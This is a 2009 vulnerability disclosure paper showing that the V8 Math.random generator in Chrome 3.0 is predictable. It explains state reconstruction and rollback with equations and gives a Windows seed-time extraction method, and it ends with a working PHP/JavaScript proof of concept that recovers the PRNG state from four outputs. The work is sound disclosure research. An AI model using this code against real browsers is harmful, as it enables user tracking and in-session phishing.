Google Chrome 3.0 (Beta) Math.random vulnerability

Amit Klein

August 2009

Abstract

The revised Google Chrome Math.random algorithm (included in version 3.0 of Google Chrome) is predictable. This paper describes how Google Chrome 3.0 Math.random's internal state can be reconstructed, and how it can be rolled forward and backward, and how (in Windows) the exact seeding time can be extracted. This in turn leads to various attacks (e.g. "in-session phishing") as described in an earlier paper ([1]).

Table of Contents

1. Introduction

This short write-up is a continuation of a research conducted earlier ([1]), in which the security implications of Math.random predictability were discussed and were demonstrated for Microsoft Internet Explorer, Mozilla Firefox, Apple Safari and Google Chrome (versions 0.x, 1.0 and 2.0). In Chrome 3.0 Google revised the Math.random algorithm, but this modification did not address the problem. In this paper, the new Math.random implementation of Google Chrome 3.0 (more accurately, of Google Chrome's Javascript engine, V8) is described. The implications are similar to the ones described in [1] and therefore will not be discussed in depth here.

2. Google Chrome 3.0 Beta (Google V8 1.2.8 and above) Math.random implementation and vulnerability

The new Math.random implementation was introduced in Google V8 version 1.2.8, as revision r2181 ([2]), whose description includes, among other things, "Push version 1.2.8 to trunk" and "Optimized math on ARM platforms". Version 1.2.8 of V8 is included in Google Chrome version 3.0.189.0 ([3]), which is a developer edition. Presumably, as of Chrome 3.0.195.x (released August 4th, 2009, see [5]), this is also part of the beta channel code.

From [6], the code PRNG algorithm is as following:

```
uint32_t V8::Random() {
  // Random number generator using George Marsaglia's MWC algorithm.
  static uint32_t hi = 0;
  static uint32_t lo = 0;

  // Initialize seed using the system random(). If one of the seeds
  // should ever become zero again, or if random() returns zero, we
  // avoid getting stuck with zero bits in hi or lo by re-
initializing
  // them on demand.
  if (hi == 0) hi = random();
  if (lo == 0) lo = random();

  // Mix the bits.
  hi = 36969 * (hi & 0xFFFF) + (hi >> 16);
  lo = 18273 * (lo & 0xFFFF) + (lo >> 16);
  return (hi << 16) + (lo & 0xFFFF);
}
```

This algorithm returns a 32 bit unsigned quantity. For Math.random, only the least significant 30 bits of this quantity are used – they are divided by 2^{30} to obtain a value between 0 (inclusive) and 1 (not inclusive). This can be seen in functions V8::RandomPositiveSmi (in [6], and see function and the definition of Object::kMaxValue to be 2^{30}-1 in [12]) and MathRandom (in [7]).

> Side note: the algorithm itself uses two "streams" of George Marsaglia's MWC algorithm (as stated in the documentation): "hi" and "lo". Each one is an MWC PRNG ([8]), with $b=2^{16}$. For "hi", $a=36969$, and for "lo", $a=18273$ (in both cases $m=a \cdot b-1$ is prime). In both cases, the output (x_n) series is the low 16 bits of the 32 bit state variable, and the carry is the high 16 bits of the 32 bit state variable. The output of V8::Random() is thus a "concatenation" of the two streams.

Before the full analysis commences, it is noteworthy to observe that the only way in which hi (or lo) can be 0 is by its predecessor to be 0 as well. This is obvious since if $0=(36969 \cdot (hi \bmod 2^{16})+(hi/2^{16})) \bmod 2^{32}$ and keeping in mind that the right hand size never exceeds 2^{32} in the first place, it follows that both addendums must be 0, namely that hi=0. Therefore, the only way wherein hi or lo can be 0 is during initialization and during the first few steps, but once a non-zero value is assigned to them, they remain non-zero forever. Thus, we can assume that their values are non-zero from the beginning (of course, this assumption does not hold if the value of any of the random() invocations returns 0, but this is a very rare situation which can be neglected).

2.1 Phase I – PRNG state reconstruction

Reconstructing lo is quite simple. Given 2 consecutive values of Math.random(), these correspond to 2 consecutive values of lo, in which the least significant 16 bits of lo correspond to the least significant 16 bits of $\text{Math.random}() \cdot 2^{30}$. Given 2 consecutive values of the least significant 16 bits of lo, $lo_{1,L}$, and $lo_{2,L}$, lo1 can be fully reconstructed. From the following equation:

$$lo_2=18273 \cdot lo_{1,L}+lo_{1,H}$$

Taking modulo 2^{16}:

$$lo_{2,L}=(18273 \cdot lo_{1,L}+lo_{1,H}) \bmod 2^{16}$$

And finally:

$$lo_{1,H}=(lo_{2,L}-18273 \cdot lo_{1,L}) \bmod 2^{16}$$

Reconstructing hi is a bit harder, because only the 14 least significant bits of it are known – these are the most significant 14 bits of $\text{Math.random}() \cdot 2^{30}$. Now from an information theoretic perspective, 2 consecutive values of Math.random do not suffice to reconstruct the 32 bits of hi, but perhaps 3 consecutive values would. However, due to the way hi is advanced, 3 consecutive values do not suffice, and 4 are needed.

The algorithm is similar to the one used with lo, but this time the most significant two bits in $hi_{1,L}$ and $hi_{2,L}$ are enumerated to extend the values to 16 bits each. Then, hi_3 and hi_4 are used to eliminate the false guesses. As mentioned above, hi_3 alone cannot eliminate all false guesses. This is due to the following fact: consider two identical hi values, except for their most significant 2 bits. It is easy to see that these two bits will come into play in the 14 least significant bits of hi only in the fourth iteration. Therefore, three consecutive values of hi's least significant 14 bits cannot distinguish among hi values whose most significant 2 bits differ.

2.2 Phase II – Rolling backward/forward

Once hi and lo are fully reconstructed, it is obvious that the PRNG can be rolled forward. It is also not too hard to see that the PRNG can be rolled backward. Note that as of the first iteration after hi and lo are assigned (with non-zero values), their values remain smaller than $36969 \cdot 2^{16}$ and $18273 \cdot 2^{16}$, respectively. And the discussion is restricted to values in $0..36969 \cdot 2^{16}-1$ and $0..18273 \cdot 2^{16}-1$ for hi and lo respectively, it's easy to see that there's a 1:1 correspondence between consecutive values – in other words, each value has exactly one predecessor. This can be seen from the following equation:

$$hi_2 = 36969 \cdot hi_{1,L} + hi_{1,H}$$

Since $hi_{1,H} < 36969$ (this is the subspace of interest), it follows that:

$$hi_{1,L} = int(hi_2 / 36969)$$

$$h_{1,H} = h_2 \bmod 36969$$

This demonstrates both the 1:1 relation, and a trivial construction of the predecessor.

2.3 Phase III (Windows) – mileage and MSVCRT seed extraction

Using the rollback technique explained in the previous section, the PRNG state can be rolled back indefinitely. Of special interest is the detection of the PRNG state when it was initialized. This is pretty simple for Windows, since V8 uses the Microsoft Visual C Runtime (MSVCRT) rand() to initialize hi and lo (for Windows, V8 aliases random to rand – see the definition of function "random" in [11]). MSVCRT rand() returns a 15 bit value, which can be easily detected (the most significant 17 bits of both hi and lo will be zero). Note that since the value of rand() is 15 bits, it falls into the subspace in which the 1:1 correspondence exits, namely the rollback procedure will produce the correct rand() values used for the initialization.

So the algorithm is straight forward – roll back the PRNG state until the values of both hi and lo contain zero in their 17 most significant bits. This is the seed for the V8 Math.random(), which can be used for various purposes as explained below. Additionally, the number of iteration from the current PRNG state to its seeding phase is the "mileage" of the V8 Math.random PRNG.

But more information can still be obtained. The MSVCRT rand() is in itself seeded by V8 with millisecond time since Epoch ([11], function OS::Setup). Since there are no other consumers of rand() except Math.random's initialization, the MSVCRT PRNG state preceding the current will be its seed – i.e. the millisecond time since Epoch. Reconstructing MSVCRT from two consecutive values (normally this results in several candidates), rolling it back and obtaining the seed time are discussed in [1], [9] and [10]. The information leaked from Math.random is as following:

- Math.random current state (30 bits), which can be rolled forward and backward arbitrarity.

  - In Windows, it be rolled back to the initial state (30 bits), the latter being equivalent to two (on the average) candidates for the MSVCRT seeding time (31 bits), in millisecond granularity - wrapping around roughly every 25 days. The later candidate is of course more likely.

- Math.random mileage (Windows only)

3. Implications

All the implications described in [1] are applicable for Chrome v3.0 as well. Particularly, it is possible to detect log-in state, and as such to conduct "in session phishing" attacks.

4. Conclusions

While the new algorithm makes use of a good PRNG, it is none-the-less vulnerable to attacks. This is because what passes as a good PRNG is not necessarily a cryptographically-strong PRNG.

5. Timeline and disclosure

November 10th, 2008: A draft of [1] (including the attack on Google Chrome 0.x, 1.0 and 2.0 Math.random) is disclosed to the vendors (including Google)

November 2008 – January 2009: private discussions with Google regarding the previous vulnerability (in Google Chrome 0.x, 1.0 and 2.0). Google decides not to fix.

June 8th, 2009: [1] is publicly disclosed ([4]).

June 16th, 2009: Google Chrome's Math.random completely new implementation is checked in ([2]).

August 23rd, 2009: A draft of the present document is sent to Google's security team.

August 27th, 2009: Google security team responds, states that Google will not fix this issue.

August 31st, 2009: Paper release.

6. Status

Google Chrome 3.0.189.0 and above (currently in beta) – vulnerable (tested with 3.0.195.6 on Windows XP SP3).

Prior versions of Google Chrome are vulnerable to the attack described in [1].

Google V8 Javascript engine (version 1.2.8 and above) – vulnerable.

Prior versions of Google V8 are vulnerable to the attack described in [1].

7. References

[1] "Temporary user tracking in major browsers and Cross-domain information leakage and attacks", Amit Klein (Trusteer), June 8th, 2009

http://www.trusteer.com/files/Temporary_User_Tracking_in_Major_Browsers.pdf

[2] "r2181 – v8" (Google Code page), retrieved August 17th, 2009

http://code.google.com/p/v8/source/detail?r=2181

[3] "Google Chrome Releases: Dev Channel Update" (GoogleChromeReleases blog page), retrieved August 17th, 2009

http://googlechromereleases.blogspot.com/2009/06/dev-channel-update.html

[4] "New paper by Amit Klein (Trusteer) - Temporary user tracking in major browsers and Cross-domain information leakage and attacks" (BugTraq posting), Amit Klein (Trusteer), June 8th, 2009

http://www.securityfocus.com/archive/1/504165

[5] "Google Chrome Releases: Beta Update" (GoogleChromeReleases blog page), retrieved August 17th, 2009

http://googlechromereleases.blogspot.com/2009/08/beta-update.html

[6] "v8.cc – v8" (Google Code page), retrieved August 17th, 2009

http://code.google.com/p/v8/source/browse/trunk/src/v8.cc

[7] "math.js – v8" (Google Code page), retrieved August 17th, 2009

http://code.google.com/p/v8/source/browse/trunk/src/math.js

[8] "Multiply-With-Carry (MWC) Generators", George Marsaglia (Florida State University), 1995

http://www.stat.fsu.edu/pub/diehard/cdrom/pscript/mwc1.ps

[9] "PowerDNS Recursor DNS Cache Poisoning", Amit Klein (Trusteer), March 31st, 2008

http://www.trusteer.com/files/PowerDNS_recursor_DNS_Cache_Poisoning.pdf

[10] "Re: Jetty Session ID Prediction" (BugTraq posting), Amit Klein, February 6th, 2007

http://www.securityfocus.com/archive/1/459283

[11] "platform-win32.cc – v8" (Google Code page), retrieved August 17th, 2009

http://code.google.com/p/v8/source/browse/trunk/src/platform-win32.cc

[12] "objects.h – v8" (Google Code page), retrieved August 18th, 2009

http://code.google.com/p/v8/source/browse/trunk/src/objects.h

Appendix – Mileage and seed time extraction (Windows)

The following PHP code can be used to extract the Math.random current internal state (cross platform), and its mileage and MSVCRT seeding time (Windows only). For simplicity, the MSVCRT state reconstruction is straight-forward, so a vast improvement in runtime can be achieved by using the technique described in [10].

```
<?php
define("MAX_JS_MILEAGE",10000);

$two_31=bcpow(2,31);
$two_32=bcpow(2,32);

function adv($x)
{
	global $two_31;
	return bcmod(bcadd(bcmul(214013,$x),"2531011"),$two_31);
}

function prev_state($state)
{
	global $two_31;

	// 968044885 * 214013 - 192946 * 1073741824 = 1
	$state=bcmod(bcsub(bcadd($state,$two_31),"2531011"),$two_31);
	$state=bcmod(bcmul("968044885",$state),$two_31);
	return $state;
}

if ($_REQUEST['r1'])
{
	$v1=$_REQUEST['r1'];
	$v2=$_REQUEST['r2'];
	$v3=$_REQUEST['r3'];
	$v4=$_REQUEST['r4'];
	$t=$_REQUEST['t'];

	$lo1low=$v1 & 0xFFFF;
	$lo2low=$v2 & 0xFFFF;
	$lo1high=bcmod(bcsub(bcadd($two_32,$lo2low),bcmul(18273,$lo1low)),65536);
	$lo1=bcadd(bcmul($lo1high,65536),$lo1low);
	$lo2=bcadd(bcmul(18273,bcmod($lo1,65536)),bcdiv($lo1,65536,0));
	$lo3=bcadd(bcmul(18273,bcmod($lo2,65536)),bcdiv($lo2,65536,0));
	$lo4=bcadd(bcmul(18273,bcmod($lo3,65536)),bcdiv($lo3,65536,0));

	$found_state=false;
	for ($unk=0;$unk<16;$unk++)
	{
		$hi1low=($v1 >> 16)|(($unk & 3)<<14);
		$hi2low=($v2 >> 16)|(($unk>>2)<<14);

	$hi1high=bcmod(bcsub(bcadd($two_32,$hi2low),bcmul(36969,$hi1low)),65536);
		if ($hi1high>=36969)
		{
			continue;
		}
		$hi1=bcadd(bcmul($hi1high,65536),$hi1low)+0;
		$hi2=bcadd(bcmul(36969,($hi1 & 0xFFFF)),bcdiv($hi1,65536,0))+0;
		$hi3=bcadd(bcmul(36969,($hi2 & 0xFFFF)),bcdiv($hi2,65536,0))+0;
		$hi4=bcadd(bcmul(36969,($hi3 & 0xFFFF)),bcdiv($hi3,65536,0))+0;

		if (($v1 == ((($hi1<<16)|($lo1 & 0xFFFF))&0x3FFFFFFF)) and
			($v2 == ((($hi2<<16)|($lo2 & 0xFFFF))&0x3FFFFFFF)) and
```

```
                        ($v3 == ((($hi3<<16)|($lo3 & 0xFFFF))&0x3FFFFFFF)) and
                        ($v4 == ((($hi4<<16)|($lo4 & 0xFFFF))&0x3FFFFFFF)))
                {
                        $found_state=true;
                        break;
                }
        }

        if (!$found_state)
        {
                echo "ERROR: cannot find PRNG state (is this really Chrome 3.0?)
<br>\n";
                exit;
        }

        echo "Math.random PRNG current state: hi=$hi4 lo=$lo4    <br>\n";
        $lo5=bcadd(bcmul(18273,bcmod($lo4,65536)),bcdiv($lo4,65536,0));
        $hi5=bcadd(bcmul(36969,($hi4 & 0xFFFF)),bcdiv($hi4,65536,0))+0;
        $v5=(($hi5<<16)|($lo5 & 0xFFFF))&0x3FFFFFFF;
        echo "Math.random next value:
<script>document.write($v5/Math.pow(2,30));</script>    <br>\n";

        echo "    <br>\n";
        echo "NOTE: Anything below this line is available only for Windows.    <br>\n";
        echo "    <br>\n";
        # Rollback
        $lo=$lo1;
        $hi=$hi1;
        $found_initial_state=false;
        for ($mileage=0;$mileage<MAX_JS_MILEAGE;$mileage++)
        {
                $lo_prev_low=bcdiv($lo,18273,0);
                $lo_prev_high=bcmod($lo,18273);
                $lo=bcadd(bcmul($lo_prev_high,65536),$lo_prev_low);

                $hi_prev_low=bcdiv($hi,36969,0);
                $hi_prev_high=bcmod($hi,36969);
                $hi=bcadd(bcmul($hi_prev_high,65536),$hi_prev_low);

                if ((bcdiv($hi,32768,0)==0) and (bcdiv($lo,32768,0)==0))
                {
                        echo "Math.random PRNG initial state: hi=$hi lo=$lo    <br>\n";
                        echo "Math.random PRNG mileage: $mileage [Math.random()
invocations]    <br>\n";
                        $found_initial_state=true;
                        break;
                }
        }

        if ($found_initial_state)
        {
                echo "<br>";

                $first=$hi+0;
                $second=$lo+0;

                $cand=array();
                for ($v=0;$v<(1<<16);$v++)
                {
                        $state=($first<<16)|$v;
                        $state=adv($state);
                        if ((($state>>16)&0x7FFF)==$second)
                        {
                                $state=prev_state(($first<<16)|$v);

        $seed_time=bcadd(bcmul(bcdiv(bcmul($t,1000),$two_31,0),$two_31),$state);
                                if (bccomp($seed_time,bcmul($t,1000))==1)
                                {
                                        $seed_time=bcsub($seed_time,$two_31);
                                }
                                $cand[$seed_time]=$state;
                        }
                }
```

```
		# reverse sort by seed_time key (string comparison - but since 2002,
second-since-Epoch are 10 digits exactly, so string comparison=numeric comparison)
		krsort($cand);

		echo count($cand)." candidate(s) for MSVCRT seed and seeding time, from
most likely to least likely:    <br>\n";
		echo "<code>\n";
		echo "<table>\n";
		echo "<tr>\n";
		echo "    <td><b>MSVCRT PRNG Seeding time [sec] </b></td>\n";
		echo "    <td><b>MSVCRT PRNG Seeding time [UTC date] </b></td>";
		echo "    <td><b>MSVCRT PRNG seed</b></td>\n";
		echo "</tr>\n";
		$cn=0;
		foreach ($cand as $seed_time => $st)
		{
			if ($cn==0)
			{
				$pre="<u>";
				$post="</u>";
			}
			else
			{
				$pre="<i>";
				$post="</i>";
			}
			echo "<tr>\n";
			echo "    <td>".$pre.substr_replace($seed_time,".",-
3,0).$post."</td>\n";
			echo "
<td>".$pre.gmdate("r",bcdiv($seed_time,1000)).$post."</td>\n";
			echo "    <td>".$pre.$st.$post."</td>\n";
			echo "</tr>\n";
			$cn++;
		}
		echo "</table>\n";
		echo "</code>\n";
		echo "    <br>\n";
	}
	else
	{
		echo "ERROR: Cannot find Math.random initial state (non-Windows
platform?)    <br>\n";
	}
}
?>
<html>
<body>
<form method="POST" onSubmit="f()">
<input type="hidden" name="r1">
<input type="hidden" name="r2">
<input type="hidden" name="r3">
<input type="hidden" name="r4">
<input type="hidden" name="t">
<input type="submit" name="dummy" value="Calculate Chrome 3.0 (Windows) Math.random
PRNG state, mileage and MSVCRT seed and seeding time">
</form>
<script>
function f()
{
	document.forms[0].r1.value=Math.random()*Math.pow(2,30);
	document.forms[0].r2.value=Math.random()*Math.pow(2,30);
	document.forms[0].r3.value=Math.random()*Math.pow(2,30);
	document.forms[0].r4.value=Math.random()*Math.pow(2,30);
	document.forms[0].t.value=(new Date()).getTime()/1000;
	return true;
}
</script>

<form onSubmit="alert(Math.random());return false;">
<input type="submit" name="dummy" value="Sample Math.random()">
</form>
```

```
</body>
</html>
```